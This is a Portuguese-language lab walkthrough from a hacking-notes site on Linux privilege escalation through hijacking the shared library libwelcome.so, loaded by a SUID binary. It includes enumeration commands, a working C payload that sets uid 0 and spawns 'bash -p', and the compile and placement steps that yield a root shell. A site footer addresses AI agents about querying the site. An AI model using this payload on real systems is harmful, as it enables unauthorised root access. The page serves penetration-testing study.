> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md).

# Sequestro de biblioteca compartilhada libwelcome.so - Escalada de privilégios no Linux

## O que é

O sequestro de bibliotecas compartilhadas abusa do carregador dinâmico quando um binário privilegiado carrega um objeto compartilhado ausente, gravável ou controlado pelo invasor. Um malicioso `.so` pode executar código com os privilégios do processo de carregamento. Esta página específica se concentra em **Sequestro de Biblioteca Compartilhada (libwelcome.so)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## Exemplos

<details>

<summary>Site da máquina vulnerável <a href="https://attackdefense.com/challengedetails?cid=90"><strong>attackdefense</strong></a><strong>:</strong></summary>

</details>

Procure por arquivos com [SUID](/pt-br/privesc/suid.md) as permissões:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/afd103b6d1ccdff4c0f2ccf00c14854def1cf6f7" alt=""><figcaption></figcaption></figure>

Se o caminho de busca da biblioteca fosse gravável, poderíamos colocar `libwelcome.so` diretamente no diretório carregado pelo binário.

<figure><img src="/files/e171640b2fd91668194ddf21d113fcf09660a6c8" alt=""><figcaption></figcaption></figure>

Ao examinar os arquivos de configuração, podemos ver que o caminho da biblioteca aponta para um diretório que não existe: `/home/student/lib`.

<figure><img src="/files/967fbc28b4cf034551b66735d40af9e9f7a4e172" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cfc424891fa8311f317274253b34f4baa57d3b66" alt=""><figcaption></figcaption></figure>

Crie o `lib` diretório ausente e coloque um `test.c` payload controlado lá:

<figure><img src="/files/f74284d96afc5c79c954eac7dec36b4bd857410a" alt=""><figcaption></figcaption></figure>

Este `test.c` o payload abre um shell Bash como root quando o binário privilegiado o carrega:

```c
#include <stdio.h>
#include <unistd.h>

int welcome(){
        setuid(0);
        setgid(0);
        system("bash -p");
        return 0;
}
```

Compile o payload como o `libwelcome.so` objeto compartilhado:

```bash
gcc -fPIC -shared test.c -o libwelcome.so
```

<figure><img src="/files/6ed15335cbeffc9149f518fc467240b9da2afd57" alt=""><figcaption></figcaption></figure>

Mova o objeto compartilhado compilado para o `lib` diretório ausente e confirme que o binário o resolve:

```bash
ldd /usr/bin/welcome
mv libwelcome.so lib
```

<figure><img src="/files/9657269a03e5e20410dab7f2ff4d6504dc7e6236" alt=""><figcaption></figcaption></figure>

Execute `/usr/bin/welcome` novamente. O binário carrega a biblioteca maliciosa e retorna um shell Bash como root:

<figure><img src="/files/950aaa701047f32c57665e49ec664eeb99921db5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
